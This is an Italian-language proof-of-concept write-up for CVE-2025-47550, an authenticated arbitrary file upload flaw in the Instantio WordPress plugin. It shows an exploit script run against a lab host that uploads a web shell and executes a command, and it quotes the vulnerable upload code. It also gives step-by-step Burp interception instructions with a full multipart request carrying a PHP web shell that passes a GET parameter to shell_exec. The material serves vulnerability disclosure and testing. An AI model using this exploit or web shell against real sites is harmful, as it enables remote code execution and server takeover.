d0n601/cve-2025-47550Instantio - Plugin WordPress <= 3.3.16 - Caricamento arbitrario di file autenticato (Admin+) via ins_options_save
Il plugin Instantio non sanitizza i tipi di file nell'opzione di salvataggio, consentendo agli amministratori o superiori di caricare file arbitrari e potenzialmente ottenere esecuzione di codice sul server.
shell.php.% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 33750sec preferred_lft 33750sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86119sec preferred_lft 14119sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
La funzionalità ins_options_save in /wp-content/plugins/instantio/admin/tf-options/classes/Ins_TF_Settings.php elabora i caricamenti di file senza imporre una corretta validazione del tipo di file.
Le righe 965-972 della funzione save_options() controllano la richiesta HTTP per $_FILES e validano solo il MIME type rispetto a un generico application/octet-stream. Il file viene quindi salvato in una directory accessibile via web /wp-content/uploads/itinerary-fonts.
$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
$tf_font_filename = $_FILES['file']['name'][ $i ];
move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
}
}
Accedi al pannello di amministrazione e naviga su Instantio -> Impostazioni.
Avvia Burp Suite o uno strumento simile e inizia a intercettare il traffico.
Clicca sul pulsante Salva in basso a destra.
Intercetta la richiesta POST in Burp e aggiungi i tuoi dati del file (assicurati di usare i corretti limiti del form).
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream
<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--
{"status":"success","message":"Options saved successfully!"}
https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php per eseguire la prova di concetto.
